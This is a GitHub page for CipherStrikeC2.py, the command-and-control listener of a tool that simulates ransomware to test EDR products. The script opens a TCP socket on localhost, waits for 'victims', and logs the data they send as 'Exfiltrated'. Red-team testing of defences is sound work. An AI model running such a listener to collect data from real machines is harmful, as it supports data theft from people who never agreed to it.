-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathCipherStrikeC2.py
More file actions
97 lines (82 loc) · 5.46 KB
/
CipherStrikeC2.py
File metadata and controls
97 lines (82 loc) · 5.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# ----- License -------------------------------------------------- #
# CipherStrike - CipherStrike simulates ransomware attacks to test EDR systems, enabling users to strengthen their defense strategies.
# Copyright (c) 2025 - CursedSec (Operated by Cursed271). All rights reserved.
# This software is an proprietary intellectual property developed for
# penetration testing, threat modeling, and security research. It
# is licensed under the CURSEDSEC OWNERSHIP EDICT:
#
# 🚫 PROHIBITION WARNING 🚫
# Redistribution, re-uploading, and unauthorized modification are strictly forbidden
# under the COE. Use is granted ONLY under the limited terms defined in the official
# LICENSE file (COE), which must be included in all copies.
# DISCLAIMER:
# This tool is intended for **educational or ethical testing** purposes only.
# Unauthorized or malicious use of this software against systems without
# proper authorization is strictly prohibited and may violate laws and regulations.
# The author assumes no liability for misuse or damage caused by this tool.
# 🔗 LICENSE: CURSEDSEC OWNERSHIP EDICT (COE)
# 🔗 Repository: https://github.com/Cursed271
# 🔗 Author: Steven Pereira (@Cursed271)
# ----- Libraries ------------------------------------------------ #
import os
import socket
from datetime import datetime
from rich.console import Console
# ----- Global Declaration --------------------------------------- #
port = 2701
host = "127.0.0.1"
console = Console()
# ----- C2 Server Initiation ------------------------------------- #
def c2_server():
console.print(f"[red][+] CipherStrike C2 Server Started - Listening for CipherStrike Victims.....")
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen()
console.print(f"[#C6ECE3][*] Listening on {host}:{port}.....")
while True:
client, addr = server.accept()
console.print(f"[green][+] Connection from {addr[0]}:{addr[1]}")
with client:
while True:
data = client.recv(1024)
if not data:
break
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
decoded = data.decode(errors='ignore').strip()
console.print(f"[#C6ECE3][{timestamp}] [>] Exfiltrated: {decoded}")
except KeyboardInterrupt:
console.print("[red][!] Ctrl+C detected. Shutting down C2 server...")
except Exception as e:
console.print(f"[red][!] Error: {e}")
finally:
console.print("[#C6ECE3][*] Server stopped.")
# ----- Banner --------------------------------------------------- #
def ascii():
console.print(rf"""[#C6ECE3]
┌─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ │
│ .oooooo. o8o oooo .oooooo..o . o8o oooo │
│ d8P' `Y8b `"' `888 d8P' `Y8 .o8 `"' `888 │
│ 888 oooo oo.ooooo. 888 .oo. .ooooo. oooo d8b Y88bo. .o888oo oooo d8b oooo 888 oooo .ooooo. │
│ 888 `888 888' `88b 888P"Y88b d88' `88b `888""8P `"Y8888o. 888 `888""8P `888 888 .8P' d88' `88b │
│ 888 888 888 888 888 888 888ooo888 888 `"Y88b 888 888 888 888888. 888ooo888 │
│ `88b ooo 888 888 888 888 888 888 .o 888 oo .d8P 888 . 888 888 888 `88b. 888 .o │
│ `Y8bood8P' o888o 888bod8P' o888o o888o `Y8bod8P' d888b 8""88888P' "888" d888b o888o o888o o888o `Y8bod8P' │
│ 888 │
│ o888o │
│ │
└─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
""")
console.print(rf"[#C6ECE3]+--------------------------------------------------------------+")
console.print(rf"[#C6ECE3] CipherStrike - Test Defenses. Simulate Threats. Strike Silently.")
console.print(rf"[#C6ECE3] Created by [bold black]Cursed271")
console.print(rf"[#C6ECE3]+--------------------------------------------------------------+")
# ----- Main Function -------------------------------------------- #
if __name__ == "__main__":
os.system("cls" if os.name == "nt" else "clear")
ascii()
c2_server()
console.print("[#C6ECE3]+--------------------------------------------------------------+")
# ----- End ------------------------------------------------------ #